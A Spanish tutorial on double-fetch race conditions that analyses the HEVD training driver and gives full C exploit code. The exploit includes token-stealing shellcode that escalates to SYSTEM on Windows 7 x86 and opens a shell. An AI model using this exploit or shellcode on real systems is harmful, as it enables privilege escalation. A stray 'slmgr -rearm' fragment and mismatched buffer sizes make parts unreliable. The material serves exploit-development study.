0x07 - Introducción a Windows Kernel Race Conditions
En el último tutorial explotamos una vulnerabilidad de Type Confusion contra Windows 11 (x64). En este tutorial, presentaremos un nuevo tipo de vulnerabilidad: una Condición de carrera o Race Condition, más específicamente, un Double Fetch!
Al igual que en los tutoriales anteriores, la introducción a este tipo de vulnerabilidad lo vamos a ser dentro de Windows 7 (x86).
Table of Contents
- Qué es una Condición de Carrera (Alto Nivel)
- Usando el Código
- Teoría
- Creando un PoC
- Explotación
- Recursos
Qué es una Condición de Carrera (Alto Nivel)
Condicións de carrera o Race Conditions son una de las vulnerabilidades mas poderosas y complicadas que un atacador puede aprovechar. Como que fue ayer cuando Dirty Cow fue publicado - una vulnerabilidad que afectó a TODOS los sistemas basados en Linux que utilizaban versiones anteriores del kernel.
Con toda honestidad, antes de tomar el curso de RET2 Wargames, estos tipos de vulnerabilidades, incluso en un nivel alto, parecían completamente inaccesibles. Haré todo lo posible para ofrecer una buena descripción general de las causas de estas tipo de vulnerabilidades. Sin embargo, si de este tutorial sales confundido te recomiendo RET2 Wargames.
Con eso, pasemos a una descripción general de alto nivel.
Para nuestro ejemplo no técnico, veremos un juego con el que quizás estés familiarizado llamado Overcooked. En este juego, tú y tus amigos son responsables de cocinar comidas y hay límites de tiempo, en el juego tenéis que trabajar juntos para completar las ordenes rápidamente. Puedes imaginar que intenso se pone….
Tú y tus amigos a muchas veces estan tirandoan ingredientes a la misma olla.
Como se muestra en la imagen de abajo, varios jugadores están preparando sopas:
Dentro de esta imagen vemos que se están haciendo dos sopas una sopa de cebolla y una sopa de tomate. También vemos a cuatro jugadores:
- Un payaso
- Un ajolote
- Un loro
- Una mujer
Digamos que el jugador de ajolote es un troll y le gusta causar problemas. Vemos al ajolote agarrando una cebolla y vemos al loro cortando un tomate. Además vemos al payaso agarrando un tomate.
Para cumplir la orden, la segunda sopa necesita un tomate.
Tanto el ajolote como el loro desean arrojar sus ingredientes a la olla, sin embargo, cada ingrediente tendrá un resultado diferente.
- Si el tomate llega a la olla, el equipo completará la orden
- Si la cebolla llega a la olla, el equipo tendrá que tirar la sopa y empezar de nuevo, posiblemente perdiendo la orden.
El ajolote sabe que cada uno del equipo tiene un rol respectivo, sin embargo, el ajolote busca una vulnerabilidad en la forma en que se prepara la comida para poder explotarla (Race Condition). Como las siguientes dos sopas son de cebolla, el ajolote le dice al loro que le corte la cebolla.
Dado que todos los jugadores intentan dar las órdenes al mismo tiempo, se presenta una ventana de oportunidad para el ajolote. Si el loro está leyendo las órdenes y leyendo lo que la olla necesita, puede ser demasiado lento para darse cuenta de lo que el ajolote planea hacer (o más bien arrojar a la olla).
El ajolote decide aprovechar esto y manipula la sopa…
Qué tiene esto que ver con los Race Conditions?
- Puedes pensar en cada jugador como un thread. Todos estos thread funcionan en paralelo y afectan a un recurso compartido (la olla).
- El Race Condition en este ejemplo ocurre cuando dos “threads” (jugadores) intentan modificar el recurso compartido al mismo tiempo; el ingrediente que se echa a la olla determina el resultado. Si la cebolla entra, es una explotación por parte del ajolote.
En términos técnicos, un Race Condition ocurre cuando dos o más procesos o threads concurrentes intentan modificar o acceder a recursos compartidos simultáneamente, lo que genera consecuencias impredecibles o no deseadas.
- Qué pasa si varios threads son responsables de las liberaciones?
- Qué pasa si varios threads son responsables de las asignaciones?
- Qué pasa si varios threads deciden qué camino toma una aplicación?
Como puedes imaginar, los límites de los Race Conditions son infinitos.
Empecemos!
Usando el Código
Primero necesitamos identificar codigo para esta vulnerabilidad.
$ ls -l | grep Double
-rw-r--r-- 1 wetw0rk wetw0rk 5801 Nov 18 12:32 DoubleFetch.c
-rw-r--r-- 1 wetw0rk wetw0rk 2408 Nov 18 12:32 DoubleFetch.h
El código nos dice que usaremos las siguientes estructuras y llamadas:
// DoubleFetch.h
62 typedef struct _DOUBLE_FETCH
63 {
64 PVOID Buffer;
65 SIZE_T Size;
66 } DOUBLE_FETCH, *PDOUBLE_FETCH;
// DoubleFetch.c
DoubleFetchIoctlHandler()
TriggerDoubleFetch()
DoubleFetchIoctlHandler
Dentro de este controlador, podemos ver que nuestra entrada se convierte en un puntero de estructura para el tipo _DOUBLE_FETCH
. Desde allí, nuestra entrada transmitida se envía a la función TriggerDoubleFetch().
156 NTSTATUS
157 DoubleFetchIoctlHandler(
158 _In_ PIRP Irp,
159 _In_ PIO_STACK_LOCATION IrpSp
160 )
161 {
162 PDOUBLE_FETCH UserDoubleFetch = NULL;
163 NTSTATUS Status = STATUS_UNSUCCESSFUL;
164
165 UNREFERENCED_PARAMETER(Irp);
166 PAGED_CODE();
167
168 UserDoubleFetch = (PDOUBLE_FETCH)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
169
170 if (UserDoubleFetch)
171 {
172 Status = TriggerDoubleFetch(UserDoubleFetch);
173 }
174
175 return Status;
176 }
TriggerDoubleFetch
TriggerDoubleFetch es donde empezamos a ver una operación más “complicada”.
63 __declspec(safebuffers)
64 NTSTATUS
65 TriggerDoubleFetch(
66 _In_ PDOUBLE_FETCH UserDoubleFetch
67 )
68 {
69 NTSTATUS Status = STATUS_SUCCESS;
70 ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
71
72 #ifdef SECURE
73 PVOID UserBuffer = NULL;
74 SIZE_T UserBufferSize = 0;
75 #endif
76
77 PAGED_CODE();
78
79 __try
80 {
81 //
82 // Verify if the buffer resides in user mode
83 //
84
85 ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
86
87 DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
88 DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
89 DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
90
91 #ifdef SECURE
92 UserBuffer = UserDoubleFetch->Buffer;
93 UserBufferSize = UserDoubleFetch->Size;
94
95 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
96 DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);
97
98 if (UserBufferSize > sizeof(KernelBuffer))
99 {
100 DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);
101
102 Status = STATUS_INVALID_PARAMETER;
103 return Status;
104 }
105
106 //
107 // Secure Note: This is secure because the developer is fetching
108 // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
109 // mode just once and storing it in a temporary variable. Later, this
110 // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
111 // will be no race condition
112 //
113
114 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
115 #else
116 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
117 DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
118
119 if (UserDoubleFetch->Size > sizeof(KernelBuffer))
120 {
121 DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);
122
123 Status = STATUS_INVALID_PARAMETER;
124 return Status;
125 }
126
127 DbgPrint("[+] Triggering Double Fetch\n");
128
129 //
130 // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
131 // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
132 // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
133 // This creates a race condition and the size check could be bypassed which will later
134 // cause stack based buffer overflow
135 //
136
137 RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
138 #endif
139 }
140 __except (EXCEPTION_EXECUTE_HANDLER)
141 {
142 Status = GetExceptionCode();
143 DbgPrint("[-] Exception Code: 0x%X\n", Status);
144 }
145
146 return Status;
147 }
Analicemos esto.
Comenzando en las líneas 63-90, vemos que se está utilizando un búfer con un tamaño total de 512 bytes para KernelBuffer (este tamaño se puede obtener de la definición BUFFER_SIZE en Common.h).
63 __declspec(safebuffers)
64 NTSTATUS
65 TriggerDoubleFetch(
66 _In_ PDOUBLE_FETCH UserDoubleFetch
67 )
68 {
69 NTSTATUS Status = STATUS_SUCCESS;
70 ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
71
72 #ifdef SECURE
73 PVOID UserBuffer = NULL;
74 SIZE_T UserBufferSize = 0;
75 #endif
76
77 PAGED_CODE();
78
79 __try
80 {
81 //
82 // Verify if the buffer resides in user mode
83 //
84
85 ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
86
87 DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
88 DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
89 DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
90
91 #ifdef SECURE
92 UserBuffer = UserDoubleFetch->Buffer;
93 UserBufferSize = UserDoubleFetch->Size;
94
95 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
96 DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);
97
98 if (UserBufferSize > sizeof(KernelBuffer))
99 {
100 DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);
101
102 Status = STATUS_INVALID_PARAMETER;
103 return Status;
104 }
105
106 //
107 // Secure Note: This is secure because the developer is fetching
108 // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
109 // mode just once and storing it in a temporary variable. Later, this
110 // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
111 // will be no race condition
112 //
113
114 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
Líneas 115-147 empezamos a ver la vulnerabilidad. Podemos ver que si el tamaño del miembro Size
de la estructura _DOUBLE_FETCH
es mayor que el tamaño de sizeof(KernelBuffer), el controlador devolverá.
De lo contrario llegamos a la llamada a la función RtlCopyMemory().
115 #else
116 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
117 DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
118
119 if (UserDoubleFetch->Size > sizeof(KernelBuffer))
120 {
121 DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);
122
123 Status = STATUS_INVALID_PARAMETER;
124 return Status;
125 }
126
127 DbgPrint("[+] Triggering Double Fetch\n");
128
129 //
130 // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
131 // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
132 // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
133 // This creates a race condition and the size check could be bypassed which will later
134 // cause stack based buffer overflow
135 //
136
137 RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
138 #endif
139 }
140 __except (EXCEPTION_EXECUTE_HANDLER)
141 {
142 Status = GetExceptionCode();
143 DbgPrint("[-] Exception Code: 0x%X\n", Status);
144 }
145
146 return Status;
147 }
Teoría
Al observar la estructura, podemos simplemente pasar un puntero a un búfer grande y establecer el tamaño en algo pequeño? Por supuesto que tenemos que hacer esto en el momento perfecto…
Quizás podamos enviar algo como esto:
+-----------+---------------------------------+
| Thread #1 | Spam DOUBLE_FETCH.Size (0x10) |
+-----------+---------------------------------+
| Thread #2 | Spam DOUBLE_FETCH.Size (0x1000) |
+-----------+---------------------------------+
Creando un PoC
Con un plan de ataque sólido implementado, podemos comenzar a elaborar un PoC como se ve abajo.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#include <processthreadsapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)
/* Structure used by Double Fetch */
typedef struct _DOUBLE_FETCH
{
PVOID Buffer;
SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;
/* Structure for threads */
typedef struct _IRP_ARGS
{
HANDLE hHEVD;
PDOUBLE_FETCH pDoubleFetch;
} IRP_ARGS, *PIRP_ARGS;
/* Max threads */
#define NUM_THREADS 5
/* Exploit Buffer */
#define BUFFER 0x1000
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* TriggerRaceCondition():
Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm
at runtime. If we win the race we successfully trigger a buffer overflow! */
DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters)
{
PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;
while (1) {
pIrpArgs->pDoubleFetch->Size = BUFFER;
}
return 0;
}
/* TriggerWorkingCondition():
As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need
our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that
condition. */
DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters)
{
DWORD dwBytesReturned = 0;
PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;
printf("\t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%x\n", pIrpArgs->pDoubleFetch,
pIrpArgs->pDoubleFetch->Size);
while (1)
{
pIrpArgs->pDoubleFetch->Size = 0x10;
DeviceIoControl(pIrpArgs->hHEVD,
HEVD_IOCTL_DOUBLE_FETCH,
pIrpArgs->pDoubleFetch,
sizeof(DOUBLE_FETCH),
NULL,
0x00,
&dwBytesReturned,
NULL);
}
return 0;
}
/* GenerateExploitBuffer():
Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
void GenerateExploitBuffer(LPVOID lpvBuffer)
{
uint32_t *payload = (uint32_t *)(lpvBuffer);
for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++)
{
*payload++ = 0x41414141;
}
}
/* Exploit():
Double Fetch */
int Exploit(HANDLE hHEVD)
{
LPVOID lpvMemoryAllocation = NULL;
HANDLE hThreadWork[NUM_THREADS] = { 0 };
HANDLE hThreadRace[NUM_THREADS] = { 0 };
PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));
PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));
lpvMemoryAllocation = VirtualAlloc(NULL,
BUFFER,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
/* Fill up the buffer */
GenerateExploitBuffer(lpvMemoryAllocation);
/* Setup the Double Fetch object */
pDoubleFetchObject->Buffer = lpvMemoryAllocation;
pDoubleFetchObject->Size = 0;
/* Setup the base IRP argument(s) */
pIrpArgs->hHEVD = hHEVD;
pIrpArgs->pDoubleFetch = pDoubleFetchObject;
/* Start the race!! */
printf("[*] Off to the races\n");
for (int i = 0; i < NUM_THREADS; i++)
{
hThreadWork[i] = CreateThread(NULL, 0, TriggerWorkingCondition, pIrpArgs, 0, NULL);
hThreadRace[i] = CreateThread(NULL, 0, TriggerRaceCondition, pIrpArgs, 0, NULL);
}
WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);
for (int i = 0; i < NUM_THREADS; i++)
{
TerminateThread(hThreadWork[i], 0);
CloseHandle(hThreadWork[i]);
TerminateThread(hThreadRace[i], 0);
CloseHandle(hThreadRace[i]);
}
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[*] Exploitation successful, enjoy de shell!!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Una vez que se envía el búfer, se produce el siguiente choque:
Si nosotros !analyze -v
esto, vemos lo siguiente:
Según mi experiencia con HEVD, esto normalmente significa que nuestro búfer es tan grande que dañamos la memoria, lo que nos permite sobrescribir la dirección de retorno limpia. Entonces la solución aquí es enviar un búfer más pequeño. En honor a 2600 decidí enviar 2600 bytes!
Una vez enviado, tenemos control sobre el puntero de instrucciones!
Explotación
Después de jugar con el codigo un poco, desarrollé lo siguiente:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#include <processthreadsapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)
/* Structure used by Double Fetch */
typedef struct _DOUBLE_FETCH
{
PVOID Buffer;
SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;
/* Structure for threads */
typedef struct _IRP_ARGS
{
HANDLE hHEVD;
PDOUBLE_FETCH pDoubleFetch;
} IRP_ARGS, *PIRP_ARGS;
/* Max threads */
#define NUM_THREADS 5
/* Exploit Buffer */
#define BUFFER 2084
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* TriggerRaceCondition():
Since driver reads from userland twice we can overwrite the existing condition that bypasses the check
at runtime. If we win the race we successfully trigger a buffer overflow! */
DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters)
{
PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;
while (1) {
pIrpArgs->pDoubleFetch->Size = BUFFER;
}
return 0;
}
/* TriggerWorkingCondition():
As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need
our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that
condition. */
DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters)
{
DWORD dwBytesReturned = 0;
PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;
printf("\t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%x\n", pIrpArgs->pDoubleFetch,
pIrpArgs->pDoubleFetch->Size);
while (1)
{
pIrpArgs->pDoubleFetch->Size = 0x10;
DeviceIoControl(pIrpArgs->hHEVD,
HEVD_IOCTL_DOUBLE_FETCH,
pIrpArgs->pDoubleFetch,
sizeof(DOUBLE_FETCH),
NULL,
0x00,
&dwBytesReturned,
NULL);
}
return 0;
}
/* GenerateExploitBuffer():
Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */
DWORD GenerateExploitBuffer(LPVOID lpvBuffer)
{
uint32_t *payload = (uint32_t *)(lpvBuffer);
LPVOID lpvShellcode = NULL;
char shellcode[]=
// sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint
"\x60" // pushal
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
"\x8b\x40\x50" // mov eax, dword ptr [eax + 0x50]
"\x89\xc1" // mov ecx, eax
"\xba\x04\x00\x00\x00" // mov edx, 4
"\x8b\x80\xb8\x00\x00\x00" // mov eax, dword ptr [eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp dword ptr [eax + 0xb4], edx
"\x75\xed" // jne 0x1014
"\x8b\x90\xf8\x00\x00\x00" // mov edx, dword ptr [eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov dword ptr [ecx + 0xf8], edx
"\x61" // popal
/* RETURN CODE */
"\x5d" // POP EBP
"\xc2\x08\x00"; // RET 0x08
lpvShellcode = VirtualAlloc(NULL, 57, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (lpvShellcode == NULL) {
printf("[-] Failed to generate shellcode allocation\n");
return -1;
}
printf("[*] Copying shellcode to allocated memory region\n");
memcpy(lpvShellcode, shellcode, 57);
for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++)
{
*payload++ = (uint32_t)lpvShellcode;
}
return 0;
}
/* Exploit():
Double Fetch */
DWORD Exploit(HANDLE hHEVD)
{
LPVOID lpvMemoryAllocation = NULL;
HANDLE hThreadWork[NUM_THREADS] = { 0 };
HANDLE hThreadRace[NUM_THREADS] = { 0 };
PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS));
PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH));
lpvMemoryAllocation = VirtualAlloc(NULL,
BUFFER,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
/* Fill up the buffer */
printf("[*] Successfully allocated exploitation buffer\n");
if (GenerateExploitBuffer(lpvMemoryAllocation) == -1) {
return -1;
}
/* Setup the Double Fetch object */
pDoubleFetchObject->Buffer = lpvMemoryAllocation;
pDoubleFetchObject->Size = 0;
/* Setup the base IRP argument(s) */
pIrpArgs->hHEVD = hHEVD;
pIrpArgs->pDoubleFetch = pDoubleFetchObject;
/* Start the race!! */
printf("[*] Off to the races\n");
for (int i = 0; i < NUM_THREADS; i++)
{
hThreadWork[i] = CreateThread(NULL, 0, TriggerWorkingCondition, pIrpArgs, 0, NULL);
hThreadRace[i] = CreateThread(NULL, 0, TriggerRaceCondition, pIrpArgs, 0, NULL);
}
WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 1000);
for (int i = 0; i < NUM_THREADS; i++)
{
TerminateThread(hThreadWork[i], 0);
CloseHandle(hThreadWork[i]);
TerminateThread(hThreadRace[i], 0);
CloseHandle(hThreadRace[i]);
}
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[*] Exploitation successful, enjoy de shell!!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Una vez enviado, podemos ver que hemos explotado el Double Fetch (Race Condition)!
Recursos
https://www.kn0sky.com/?p=194